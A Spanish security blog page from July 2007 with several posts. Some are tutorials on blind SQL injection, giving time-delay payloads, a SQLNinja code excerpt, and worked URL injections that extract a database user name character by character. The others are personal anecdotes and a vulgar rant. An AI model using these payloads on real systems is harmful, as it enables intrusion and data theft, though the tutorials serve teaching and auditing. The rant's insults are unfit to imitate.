- MOSEB-05: Vulnerability at shopping.msn.com
- MOSEB-04: Vulnerability at www.gigablast.com
- MOSEB-03 Bonus: Persistent XSS at hotbot.com
- MOSEB-03: Vulnerability at www.hotbot.com
- MOSEB-02: Vulnerability at search.yahoo.com
- MOSEB-01 Bonus: XSS at meta.ua
- MOSEB-01: Vulnerability at meta.ua

¿Habrá algún més para Agosto? ¿El mes de los fallos en las tapas de los chiringuitos?

lunes, julio 09, 2007

Blind SQL Injection (III de ...).
SQLNinja

Como ya hemos visto en algunos posts [Hackeando un servidor de Juegos] una de la formas de automatizar las vulnerabilidades Blind SQL Injection es utilizando un sistema basado en tiempos.

La idea es inyectar un comando junto con una cadena que genere un retardo si la respuesta es positiva. Con esto cuando se haga una pregunta, del tipo "¿Es la tercera letra del nombre del usuario una "a"?" si añade un "si es así tarda 10 segundos en responder". A partir de este momento cuando se automatizan las peticiones se va mirando el tiempo de respuesta frente a las peticiones.

Como os imaginaréis este sistema tiene el problema de la latencia de red y el índice de falsos positivos es alto. Además, si de por sí el sistema Blind es de explotación lenta debido al número de peticiones que hay que realizar, al añadir retardos se hace aun más lento. No obstante, funciona.

¿Cómo se añaden retardos?. Hay dos formas de hacerlo, la primera es utilizar procedimeintos almacenados en los motores de bases de datos que los tienen. Para SQL Server de Spectra, Chrish Anley, en el (more) Advanced SQL Injection del año 2002 pone el siguiente ejemplo de inyección:

if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'

…it is possible to determine whether a given bit in a string is '1' or '0'. That is, the above query will pause for five seconds if bit '@bit' of byte '@byte' in string '@s' is '1'.

For example, the following query:

declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5'

…will pause for five seconds if the first bit of the first byte of the name of the current database is '1'. We can then run:

declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 1))) > 0 waitfor delay '0:0:5'

…to determine the second bit, and so on...


Realmente el documento no se centra en Blind, pero con este párrafo da una forma de explotar las vulnerabilidades en base a tiempo utilizando el método waitfor.


Este mecanismo ha sido el empleado por la herrmaienta SQLNinja. Es un programa hecho en perl del cual está disponible la versión 0.1.2. Está en Sourceforge y tenemos acceso al código para ver como está programado. Aquí tenéis el procediemiento que comprueba si el usuario que utiliza la aplicación web tiene permisos de administración:

sub fingerprint_sysadmin
{
print "[+] Check whether user is member of sysadmin server role....\n";
my $cmd;
$cmd = "if+is_srvrolemember('sysadmin')+=+1+waitfor+delay+'0:0:".
$blindtime."';";
my $delay = tryblind($cmd);
if ($delay > $blindtime - 2) {
return 1;
} else {
return 0;
}
}


El procediemiento tryblind comprueba el tiempo que ha tardado en responder al realizar la llamada al servidor inyecctando el comando $cmd. Como se ve en la inyección si el valor es igual a 1 se llama a waitfor con un valor de $blindtime (es decir, que el motor tarde en responder $blindtime segundos). Luego se comprueba si el tiempo es mayor que $blindtime - 2 (ajuste del programador) y si es así el programa asume que la respuesta es Verdadero, y si no, asume que es Falso.

Para hacer funcionar este programa basta con configurar un fichero de parámetros llamado SQLNinja.conf que se puede crear con un asistente en modo test en el que se pone el servidor vulnerable, la URL, el programa, el puerto, el método, etc... y el BlindTime:


A partir de ahí, basta seguir el menú del progrma para ir extrayendo toda la información:


Tenéis una demo en flash publicada en la siguiente dirección: http://sqlninja.sourceforge.net/sqlninjademo.html y podéis descargar el programa desde: http://sqlninja.sourceforge.net

Saludos!

domingo, julio 08, 2007

Momentus Ridiculous VI

Parece que la fiesta de la Codecamp no se va a repetir este año, después de los múltiples fiestorros se ha decidido cambiar de acciones para intentar hacer algo distinto este año, para los que no habéis venido, creedme si os digo que os habéis perdido un fiestorro puta madre. Os dejo aquí un video que se hizo resumiendo la primera edición en el escorial:




Codecamp Octubre 2006. Cazafantasmas en la Web 2.0

Como ya es sabido la Web 2.0 (o la actualizada nuestra a la versión 3.11 para trabajo en grupo) está llena de posts, escritos por todo pelaje de tipos (incluidos yo con dos cojones y el gran chico maravillas), así que decidimos dar unos briconsejos para cazarfantasmas.



Existen más partes de la conferencia, todas grabadas por nuestro querido Ander.



En esta parte comentábamos la Estructura Ectoplasmática de un Técnicoless que luego sería revisada, tras la participación popluar (RFC) a la Definición final.



Y aquí explicando alguna cosa de las certificaciones.

Después de hacer el tonto, por la noche me eligieron para inaugurar la Queimada que era el pistoletazo de salida para la borra... el debate nocturno. ¡Gracias por el honor!


Por suerte yo no me emborraché... ¿o sí?....¡joder, no me acuerdo!. ¿Serían los porros?...pero.... si yo creo que yo no fumo ¿o sí?

sábado, julio 07, 2007

7 de Julio. Oldies Goldies

Ayer noche estuve de visita por el norte. Realmente me fui a trabajar el jueves, pero claro, el viernes, al final me lie un poco. ¡Gracias Ander por darme cobijo!

Ayer noche estuve bien seguro en lo viejo acompañado por David "la mosca" Barroso, José "el murciano euskalduno", María y Daniel "el navarro", vamos con la tropa de S21Sec que ayer creo que de lo único que estuvimos seguros es de que follabamos el doble que la noche anterior (antes de ayer nada y hoy nada de nada) Pero lo pasamos bien, y nos fundimos dos botellas de sidriña a costa de David y Maria debuti. ¡ 1Tb de Gracias por acojerme!

También estuve con los "sospechosos habituales" de pamplona, pero tres noches acaban conmigo y hoy no he llegado al encierro. ¡Qué le vamos a hacer!.

Tras lo dicho, estoy acabado y como dice mi amigo "pajarraco" de los Santos. "Cuando un grupo saca un recopilatorio o un directo es que está acabao", pues he decidido hacer un recopilatorio con algunos posts antiguos, que no tienen ni etiquetas, ni están catalogados ni na. Y que supongo que solo los que han tenido mucha paciencia han podido leer.

- Por un puñado de dolares: Como acceder al código fuente de Windows.
- Rootkits para BIOS: Curioso el funcionamiento.
- Rootkits que virtualizan tu kernel.
- Entiendeme tu a mi: Obra breve de teatro sobre un informático llamado Chema Alonso.
- Solo Linux I y II: Gran revista.

Así que na, aupa!

viernes, julio 06, 2007

Repaso a la Web

Ver cómo está el mundo de los servidores web es (casi) sinónimo de visitar Netfcraft periódicamente. Es visita obligada mensualmente para ver cómo va el informe mensual de uso de servidores web. Y este mes han pasado cosas muy curiosas, dignas de hacer notar.

Netcraft saca mensualmente un informe sobre el uso de los servidores web en Internet, desde hace ya más de 10 años. Este informe se saca realizando consultas contra los dominios y una vez averiguada la dirección IP se hace una prueba contra el banner del servidor Web. Esta forma de calcular tiene ventajas e inconvenientes. El principal inconveniente es que cuando se publican en la misma IP varios servidores no se puede saber si es un servidor de hosting que tiene 100 dominios en la misma máquina o es un Firewall repartiendo internamente por PAT (Port Address Traslation) las peticiones a múltiples web servers en base a la URL. De hecho, un mismo Website puede descansar sobre varios servidores web si el tamaño del sitio o el número de peticiones es muy alto.

En el informe de este mes se aprecia otro nuevo acercamiento entre el uso de IIS y Apache. Después de haber estado, hace dos años, a más de 40 puntos de diferencia, a día de hoy se encuentra a 16 puntos. Esta nueva caída de Apache se ha recogido entre los servidores Google, que ya tienen presencia y la subida, de nuevo, de IIS que ya se encuentra en más del 35 % de los dominios activos.

Mayo 2007 Web Survey

Dentro de los sitios que usan IIS se encuentra, por supuesto, Spectra.com y desde este mes, dentro de la política de la compañía llamada “Dog Food” (nunca darías para comer a tu mejor amigo algo que no te comerías tú) ya funcionando sobre Windows Server 2008 e Internet Information Services 7.

Spectra.com tabla de uptime

Como último apunte de este mes en Netcraft cabe destacar el informe de caídas de los principales hosters en New York, dónde, cómo se puede apreciar en la tabla, ninguno ha tenido ni un segundo de parada durante el mes de mayo y los porcentajes de paquetes perdidos varían entre el 0.003 % y el 0.006 %. Va a ser que al final hacer las cosas bien, hacen que se pueda realizar con distintas tecnologías. Curioso ¿no?. Incluso, para los más excépticos, con Windows Server e IIS.

Tabla Hosters NY Mayo 2007


PD: Saludos desde Pamplona. Me voy que he quedado a las 12 en la plaza con "unos amiguetes". Nos vemos en la tele. Soy el de blanco.

jueves, julio 05, 2007

Los charlas del malor!

Ya estamos de lleno en el nuevo año fiscal americano y hay que dar carpetazo a todo lo hecho anteriormente para empezar a hacer cosas nuevas. El amigo Cervigón ha puesto un resumen de las cosas que hemos realizado este año en saraos varios en su blog.

Fin de Curso

Dentro de todas las cosas que realizamos quedan las charlas del Security Day, de las que yo guardo un grato recuerdo de haberlas realizado como "pajarraco" de los Santos.

Primero estuvimos en Barcelona, dónde, como se puede ver en la foto, no se petó el Ubuntu de "pajarraco".


Después fuimos a Madrid, dónde nuestro cámara el señor Ropero grabó este vídeo:



No está completo, porque se le llenó la memoria de la camara, mala suerte, así que si queréis ver el final, tendréis que venir a las dos últimas charlas que vamos a dar:

- Malaga: 24 de Julio
- Madrid: 26 de Julio

Pero que bonito es el malor!

miércoles, julio 04, 2007

Cuanto subnormal y que poco tiempo pa dar hostias!

Me encantaría ser un blogger profesional, de esos que viven de leer y escribir artículos llamativos y tonterías varias como las subnormalidades que no paro de leer últimamente, que de verdad, no sé si es que hemos entrado en un gobierno de retrasados mentales dónde lo que prima y se valora es decir gilipolleces. Tal vez es que esté de moda, y yo, que nunca he ido a ella no me cosco, pero es que tengo unas ganas de partirle la cara a alguno que no puedo con ello. Voy a tener que matarme a pajas a ver si se me va un poco la fuerza.

Me encantaría escribir 8 posts al día, diciendo tonterías, poner publicidad y ganar pasta con mis visitas. Hablar de tecnología siendo un “revistero” internauta. Un cometuercas que lo único que hace es actualizar su RSS, leerlo con su blackberry y escribir gilipolleces en su Wordpress. Y vuelta a empezar, descargo RSS, copio, pego, maltraduzco y publico. Y soy un referente en eso que llama la nosequesfera. En palabras de unos grandes sabios “Tú lo que eres es un esquimal, como tu padre!”

Uno diciendo que se ha caído google, otro diciendo que si los desarrolladores dejan de preferir Windows (como si pudieran elegir!), otro tonto diciendo “Verdes de envidia deben estar los empleados de Spectra al saber que trabajando para la manzana te llevas un iPhone gratis (si llevas más de un año)”…. Pero ¿tú te crees que los smartphones con Windows Mobile que llevan en Spectra son de pago?

Lo que más me ha divertido leer ha sido la indignación de otro como yo, que como muchos de nosotros está hasta el rabo de subnormales. Este post, es cuanto menos “ilustrador”.

La Web del Congreso, Indra y un blogger que pasaba por allí

En fin, que quería hablar de la postura de Linus Torvalds con la GPL 3, hablar del informe sobre las plataformas de desarrollo y compararlo con los informes de servidores web que miden el uso de Apache e IIS, de los futurólogos y adivinos que auguraron el fin de XP, el fin de Office, el paso masivo de todas las herramientas Windows a “plataformas libres”, que me convencieron hace 10 años de que en un par de años todo el mundo se pasaría a Open Office y que quisieron convencerme hace 5 años de que Spectra “la había cagado con el XP” y no iban a vender ninguno.

Tiremos este post a la basura y no pongamos nada más que un fuerte y bonito mensaje a lo Robe:

IROS TODOS A TOMAR POR CULO

martes, julio 03, 2007

Protección contra las técnicas de Blind SQL Injection (II de IV)

***************************************************************************************
Protección contra las técnicas de Blind SQL Injection (I de IV)
Protección contra las técnicas de Blind SQL Injection (II de IV)
Protección contra las técnicas de Blind SQL Injection (III de IV)
Protección contra las técnicas de Blind SQL Injection (IV de IV)
***************************************************************************************
Automatización

A partir de esta teoría, en las conferencias de BlackHat USA de 2004, Cameron Hotchkies, presentó un trabajo sobre “Blind SQL Injection Automation Techniques” en el que proponía métodos de automatizar la explotación de un parámetro vulnerable a técnicas de Blind SQL Injection mediante herramientas. Para ello no parte de asumir que todos los errores puedan ser procesados y siempre se obtenga un mensaje de error, ya que la aplicación puede que tenga un mal funcionamiento y simplemente haya cambios en los resultados. En su propuesta, ofrece un estudio sobre realizar inyecciones de código SQL y estudiar las respuestas ante ISQL0 e ISQL+.

Imagen: Presentación en Blackhat USA 2004

Propone utilizar diferentes analizadores de resultados positivos y falsos en la inyección de código para poder automatizar una herramienta. El objetivo es introducir ISQL0 e ISQL+ y comprobar si los resultados obtenidos se pueden diferenciar de forma automática o no y cómo hacerlo.

1.- Búsqueda de palabras clave: Este tipo de automatización sería posible siempre que los resultados positivos y negativos, fueran siempre los mismos. Es decir, siempre el mismo resultado positivo y siempre el mismo resultado negativo. Bastaría entonces con seleccionar una palabra clave que apareciera en el conjunto de resultados positivos y/o en el conjunto de resultados negativos. Se lanzaría la petición con la inyección de código y se examinarían los resultados hasta obtener la palabra clave. Es de los más rápidos a implementar, pero exige cierta interacción del usuario que debe seleccionar correctamente cual es la palabra clave en los resultados positivos o negativos.

2.- Basados en firmas MD5: Este tipo de automatización sería valido para aplicaciones en las que existiera una respuesta positiva consistente, es decir, que siempre se obtuviera la misma respuesta ante el mismo valor correcto (con inyecciones de código de cambio de comportamiento cero) y en el caso de respuesta negativa (ante inyecciones de cambio de comportamiento positivo), se obtuviera cualquier resultado distinto del anterior, como por ejemplo, otra página de resultados, una página de error genérico, la misma página de resultados pero con errores de procesamiento, etc… La automatización de herramientas basadas en esta técnica es sencilla:

a.- Se realiza el hash MD5 de la página de resultados positivos con inyección de código de cambio de comportamiento cero. Por ejemplo: “and 1=1”.

b.- Se vuelve a repetir el proceso con una nueva inyección de código de cambio de comportamiento cero. Por ejemplo: “and 2=2”.

c.- Se comparan los hashes obtenidos en los pasos a y b para comprobar que la respuesta positiva es consistente.

d.- Se realiza el hash MD5 de la página de resultados negativos con inyección de código de cambio de comportamiento positivo. Por ejemplo “and 1=2”.

e.- Se comprueba que los resultados de los hashes MD5 de los resultados positivos y negativos son distintos.

f.- Si se cumple, entonces se puede automatizar la extracción de información por medio de Hashes MD5.

Excepciones: Esta técnica de automatización no sería valida para aplicaciones que cambian constantemente la estructura de resultados, por ejemplo aquellas que tengan publicidad dinámica ni para aquellas en las que ante un error en el procesamiento devuelvan el control a la página actual. No obstante sigue siendo la opción más rápida en la automatización de herramientas de Blind SQL Injection.

3.- Motor de diferencia Textual: En este caso se utilizaría como elemento de decisión entre un valor positivo o falso la diferencia en palabras textuales. La idea es obtener el conjunto de palabras de la página de resultados positivos y la página de resultados negativos. Después se hace una inyección de código con un valor concreto y se obtiene un resultado de palabras. Haciendo un cálculo de distancias se vería de cual difiere menos para saber si el resultado es positivo o negativo. Esto es útil cuando el conjunto de valores inyectados siempre tengan un resultado visible en el conjunto de resultados tanto en el valor positivo como en el valor negativo.

4.- Basados en árboles HTML: Otra posibilidad a la hora de analizar si el resultado obtenido es positivo o negativo sería utilizar el árbol html de la página. Esto funcionaría en entornos en los que la página de resultados correctos y la página de resultados falsos fuera siempre distinta, es decir, la página correcto tiene partes dinámicas cambiantes ante el mismo valor y la página de errores también. En esos casos se puede analizar la estructura del árbol de etiquetas HTML de las páginas y compararlos.

5.- Representación Linear de Sumas ASCII: La idea de esta técnica es obtener un valor hash del conjunto de resultados en base a los valores ASCII de los caracteres que conforman la respuesta. Se saca el valor del resultado positivo, el resultado negativo. Este sistema funciona asociado a una serie de filtros de tolerancia y adaptación para poder automatizarse.

Junto con la presentación presentó una herramienta que implementaba el método 4 y que se llamaba SQueal. Dicha herramienta evolucionó hacia la que hoy se conoce como Absinthe.

Absinthe

Utiliza el mismo sistema que explicó en el documento “Blind SQL Injection Atomation Techniques” basado en sumas de valores. La herramienta es Software Libre y está programada en C# .NET, pero con soporte para MAC y para Linux con MONO. Es una de las más completas, con un interfaz muy cuidado y con soporte para la mayoría de las situaciones: Intranets con autenticación, conexiones SSL, uso de cookies, parámetros en formularios, necesidad de completar URLs, etc…

Hay que destacar que esta herramienta está pensada para auditores, y no detecta parámetros vulnerables, así que debe ser configurada de forma correcta. No es un wizard que se lanza contra una URL y ya te devuelve toda la estructura.

La herramienta funciona con plugins para diversas bases de datos y a día de hoy tiene soporte para Microsoft SQL Server, MSDE (desktop Edition), Oracle y Postgres. Los autores de la misma son Nummish y Xeron y tanto su código fuente como la herramienta están disponibles en la siguiente URL: Absinthe

Imagen: Configurando el servidor vulnerable.

En la herramienta hay que configurar el tipo de base de datos, la URL, el parámetro vulnerable, el tipo de método utilizado, etc… Una vez configurado correctamente la herramienta procede a bajarse el esquema de la base de datos utilizando la automatización descrita. Como se puede ver, la herramienta saca los tipos de datos. Para ello realiza consultas a las tablas del esquema sysobjects, syscolumns, etc… Por último extrae los datos de las tablas. En los proximos artículos veremos un ejemplo de su funcionamiento.

Como se puede suponer este no es un proceso especialmente rápido, pero… ¿qué más da si saca toda la información?

No es esta la única herramienta de automatización que existe hoy en día en la automatización de blind SQL Injection, pero tampoco quiero citarlas todas (aunque no son demasiadas y se podría), así que citaré algunas con diversas técnicas de automatización.

¿Y que más?

Personalmente espero que estos primeros artículos hayan causado en vosotros el efecto de preocuparos y comencéis un proceso de auditoría contra Blind SQL Injection y que el mes que viene vengáis a leer otra vez como acaba este serie de artículos. ¿Quieres probar el Blind SQL Injection? Puedes hacerlo con el Primer Reto Hacking de El lado del Mal que es un Blind SQL Injection. Y si no te sale, aquí tienes el solucionario.

lunes, julio 02, 2007

Protección contra las técnicas de Blind SQL Injection (I de IV)

*********************************************************************************

Aprovechando que estaba trabajando con las técnicas de Blind SQL Injection, en las revistas de Junio (partes I y II) y Julio (partes III y IV) de PCWorld escribí unos artículos sobre como protegerse (¿?) contra las técnicas de Blind SQL Injection. Los publicaré en cuatro entregas. Espero que os entretengan.

***************************************************************************************
Protección contra las técnicas de Blind SQL Injection (I de IV)
Protección contra las técnicas de Blind SQL Injection (II de IV)
Protección contra las técnicas de Blind SQL Injection (III de IV)
Protección contra las técnicas de Blind SQL Injection (IV de IV)
***************************************************************************************

Saludos!
*********************************************************************************

Tienes más info en los posts sobre Blind SQL Injection y recuerda que el primer Reto fue sobre Blind.

*********************************************************************************

SQL Injection, ese “viejo amigo”

No llevan tantos años entre nosotros las técnicas de SQL Injection para atacar a aplicaciones web y parece que lleven toda la vida. En esto de la tecnología siempre sucede esto, parece que llevo utilizando servidores Windows 2003 de siempre y resulta que no llevo tanto y [chiste malo] si te paras a pensar resulta que en Barcelona 92, en las olimpiadas, aún no había salido Windows 95 [/chiste malo].

Con las técnicas de SQL Injection sucede algo similar, fue rain.forest.puppy en el Phrack Magazine Volumen 8, Número 54 del 25 de Diciembre de 1998, una publicación realizada por la comunidad y para la comunidad de Internet, quién publicó un artículo titulado “NT Web Technology Vulnerabilities” en el que analizaba las posibilidades de la inyección de código SQL en aplicaciones ASP y motores de bases de datos SQL Server 6.5 aunque en ese momento no se llamaba SQL Injection, el le llamaba algo así como “añadir consultas”. Poco después hackearía la web PacketStorm utilizando estas técnicas, y lo explicaría en un documento que se llamaba “How i Hacked PacketStorm”. No se llamaría aún SQL Injection, es más, el nombre de SQL Injection no lo recibiría hasta el día 23 de Octubre de 2003 en la web SQLSecurity.com, Chip Andrews, publicara “SQL Injection FAQ”.

A partir de ese momento las posibilidades han sido estudiadas en profundidad en diferentes artículos y manuales disponibles en la web. Dignos de citar esos documentos, si quieres realmente saber como pueden afectar a cualquier aplicación web son recomendables los siguientes:

La primera buena discusión sobre los riesgos de diseñar aplicaciones sin protección contra SQL Injection la escribió David Litchfield de NGS Softweare, en el año 2001 con el nombre de “Web Application Disassembly with ODBC Error Messages”.

“Advanced SQL Injection en Microsoft SQL Server”, publicado el año 2002 por Chrish Anley de NGS Software y la segunda, y aún mejor parte “(more) Advanced SQL Injection” del mismo autor y publicada en Junio del mismo año.

Digno de citar es también el estudio de Cesar Cerrudo, de la empresa Application Security, que fue publicado en el mes de Agosto de 2002 y con el título “Manipulating Microsoft SQL Server using SQL Injection”.

¿Puestos al día con SQL Injection? Pues vamos un poco más allá con ello.

Blind Sql Injection

Una de las formas de realizar estos ataques se basa en ataques a ciegas, es decir, en conseguir que los comandos se ejecuten sin la posibilidad de ver ninguno de los resultados. La inhabilitación de la muestra de los resultados del ataque se produce por el tratamiento total de los códigos de error y la imposibilidad de modificar, a priori, ninguna información de la base de datos. Luego, si no se puede alterar el contenido de la base de datos y no se puede ver el resultado de ningún dato extraído del almacén, ¿se puede decir que el atacante nunca conseguirá acceder a la información?

La respuesta correcta a esa pregunta, evidentemente, es no. A pesar de que un atacante no pueda ver los datos extraídos directamente de la base de datos sí que es más que probable que al cambiar los datos que se están enviando como parámetros se puedan realizar inferencias sobre ellos en función de los cambios que se obtienen. El objetivo del atacante es detectar esos cambios para poder inferir cual ha sido la información extraída en función de los resultados.

La forma más fácil de automatizar para un atacante esta técnica es usar u vector de ataque basado en lógica binaria, es decir, en Verdadero y Falso. Este es el vector de ataque que va a centrar todo el estudio del presente proyecto, las Técnicas de Inferencia Ciega basada en Inyección de Comandos SQL.

El parámetro vulnerable

El atacante debe encontrar en primer lugar una parte del código de la aplicación que no esté realizando una comprobación correcta de los parámetros de entrada a la aplicación que se están utilizando para componer las consultas a la base de datos. Hasta aquí, el funcionamiento es similar al resto de técnicas basadas en inyección de comandos SQL. Encontrar estos parámetros es a veces más complejo ya que, desde un punto de vista hacker de caja negra, nunca es posible garantizar que un parámetro no es vulnerable ya que tanto si lo es, como si no lo es, puede que nunca se aprecie ningún cambio en los resultados aparentes.

Hagamos una definición, definamos el concepto de “Inyección SQL de cambio de comportamiento cero” (ISQL0) como una cadena que se inyecta en una consulta SQL y no realiza ningún cambio en los resultados y definamos “Inyección SQL de cambio de comportamiento positivo” (ISQL+) como una cadena que sí provoca cambios.

Veamos unos ejemplos:

Supongamos una página de una aplicación web del tipo:

http://www.miweb.com/noticia.php?id=1

Hacemos la suposición inicial de que 1 es el valor del parámetro id y dicho parámetro va a ser utilizado en una consulta a la base de datos de la siguiente manera:

Select campos
From tablas
Where condiciones and id=1


Una inyección ISQL0 sería algo como lo siguiente:

http://www.miweb.com/noticia.php?id=1+1000-1000
http://www.miweb.com/noticia.php?id=1 and 1=1
http://www.miweb.com/noticia.php?id=1 or 1=2


En ninguno de los tres casos anteriores estamos realizando ningún cambio en los resultados obtenidos en la consulta. Aparentemente no.

Por el contrario, una ISQL+ sería algo como lo siguiente

http://www.miweb.com/noticia.php?id=1 and 1=2 (a estas las llamo ISQL- ¿está claro por qué?)
http://www.miweb.com/noticia.php?id=-1 or 1=1
http://www.miweb.com/noticia.php?id=1+1


En los tres casos anteriores estamos cambiando los resultados que debe optener la consulta. Si al procesar la página con el valor sin inyectar y con ISQL0 nos devuelve la misma página se podrá inferir que el parámetro está ejecutando los comandos, es decir, que se puede inyectar comandos SQL. Ahora bien, cuando ponemos una ISQL+ nos da siempre una página de error que no nos permite ver ningún dato. Bien, pues ese es el entorno perfecto para realizar la extracción de información de una base de datos con una aplicación vulnerable a Blind SQL Injection.

¿Cómo se atacan esas vulnerabilidades?

Al tener una pagina de “Verdadero” y otra página de “Falso” se puede crear toda la lógica binaria de las mismas.

En los ejemplos anteriores, supongamos que cuando ponemos como valor 1 en el parámetro id nos da una noticia con el títular “Raúl convertido en mito del madridismo”, por poner un ejemplo y que cuando ponemos 1 and 1=2 nos da una página con el mensaje Error. A partir de este momento se realizan inyecciones de comandos y se mira el resultado.

Supongamos que queremos saber si existe una determinada tabla en la base de datos:

Id= 1 and exists (select * from usuarios)

Si el resultado obtenido es la noticia con el titular de Raúl, entonces podremos inferir que la tabla sí existe, mientras que si obtenemos la página de error sabremos que o bien no existe o bien el usuario no tiene acceso a ella o bien no hemos escrito la inyección correcta SQL para el motor de base de datos que se está utilizando (Hemos de recordad que SQL a pesar de ser un “estándar” no tiene las mismas implementaciones en los mismos motores de bases de datos). Otro posible motivo de fallo puede ser simplemente que el programado tenga el parámetro entre paréntesis y haya que jugar con las inyecciones por ejemplo, supongamos que hay un parámetro detrás del valor de id en la consulta que realiza la aplicación. En ese caso habría que inyectar algo como:

Id= 1) and (exists (select * from usuarios)

Supongamos que deseamos sacar el nombre del usuario administrador de una base de datos MySQL:

Id= 1 and 300>ASCII(substring(user(),1,1))

Con esa inyección obtendremos si el valor ASCII de la primera letra del nombre del usuario será menor que 300 y por tanto podemos decir que esa es un ISQL0. Lógicamente deberemos obtener el valor cierto recibiendo la noticia de Raúl. Luego iríamos acotando el valor ASCII con una búsqueda dicotómica en función de si las inyecciones son ISQL0 o ISQL+.

Id= 1 and 100>ASCII(substring(user(),1,1)) -> ISQL+ -> Falso
Id= 1 and 120>ASCII(substring(user(),1,1)) -> ISQL0 ->Verdadero
Id= 1 and 110>ASCII(substring(user(),1,1)) -> ISQL+ ->Falso
Id= 1 and 115>ASCII(substring(user(),1,1)) -> ISQL0 ->Verdadero
Id= 1 and 114>ASCII(substring(user(),1,1)) -> ISQL+ ->Falso


Luego podríamos decir que el valor del primer character ASCII del nombre del usuario es el 114. Un ojo a la tabla ASCII y obtenemos la letra ‘r’, probablemente de root, pero para eso deberíamos sacar el segundo valor, así que inyectamos el siguiente valor:

Id= 1 and 300>ASCII(substring(user(),2,1)) -> ISQL0 -> Verdadero

Y vuelta a realizar la búsqueda dicotómica. ¿Hasta que longitud? Pues averigüémoslo inyectando:

Id= 1 and 10> length(user()) ¿ISQL0 o ISQL+?

Todas estas inyecciones, como se ha dicho en un parrafo anterior deben ajustarse a la consulta de la aplicación, tal vez sean necesiaros paréntesis, comillas si los valores son alfanuméricos, secuencias de escape si hay filtrado de comillas, o caracteres terminales de inicio de comentarios para invalidad partes finales de la consulta que lanza el programador.

************************* Fin de la primera parte *******************************

domingo, julio 01, 2007

Mi Vista tiene 2 Bugs

Una de las características que más me gustan desde el primer momento es el Monitor de Confiabilidad del Sistema. Esta herramienta está pensada para esa situación en la que un cliente llama y te dice:

- ¡Mi ordenador se ha roto!
- ¿Qué has tocado?, preguntas inocentemente.
- ¿Yoooooo? , ¡NADA!. Se ha roto solo.


Es mentira, ya sabemos todos que algo ha tocado. En Windows Vista trae una herramienta que recoge los últimos eventos del sistema relativos a fallos de hardware, software o del sistema operativo, así como las instalaciones o desinstalaciones de programas.

En función del histórico de eventos, teniendo en cuenta el número de errores, la gravedad de los mismos, etc… el sistema infiere un número de 1 a 10 con la probabilidad de que falle la estabilidad del sistema. Es decir, si has tenido 5 errores y has instalado 10 programas nuevos de los cuales 3 iban sin firmar y uno es un driver que has forzado entonces la probabilidad de caída del sistema es mayor y por tanto te baja el ratio de confiabilidad.

Mis ordenadores siempre me los instala, desde hace ya muchos años el amigo Fran. Fran es un máquina de Parla (cuidadito con él) que sabe de soporte más que nadie. No me fio de nadie tanto como de él. Antes de que yo migrara a Windows Vista Fran me tenía preparado el nuevo portátil con Vista, con todos su drivers adecuados y actualizaditos, funcionando todo perfectamente. El monitor de confiabilidad de Vista me daba de nota un 8.93. Instalando y desinstalando dispositivos USB sin desmontar correctamente en caliente y sobre el mismo conector bajé mi nota a 8.44.

El día 20 de este mes, antes de una charla con la gente de S21Sec, tenía un problemilla con un ActiveX y llamé a Cervi [IT Evangelist en Spectra] para que me echara un cable.

- Na, bajate este fix y toca esta clave de registro y listo.

Resultado: 9 petes del Internet Explorer, del Power Point y descenso hasta 5.57. ¡Joder!. Vamos mal, pero ahí no acaba la cosa. Sigo tratando mi Vista con cariño, con delicadeza, con mimo, como si fuera mi tesoro y me encuentro con el abuelo [IT Evangelist en Spectra - el otro que hay, que solo tenemos 2 en España - ] para otro sarao. Vista ya me daba un 6.79.

- Abuelo, ya que estás aquí, configúrame la 3G en Vista, que sé que tu ya la has puesto en otros Vistas (me rapto mi 3G durante 20 días) y así no me preocupo yo (¡que para trabajar estoy yo!).

Resultado, me mete un pendrive que sospechosamente me bloquea el cursor del explorer y me la configura forzando drivers y usando unos ficheros que de nuevo, sospechosamente, alguien había cambiado de extensión. ¿Resultado? La 3G funcionando pero Vista me pone la nota más baja. 5.43.


Empiezo a pensar si no será peligroso dejarle mi ordenador a estos dos evangelistas que en su época dieron soporte. Mi Vista tiene 2 Bugs. Son estos 2 pájaros.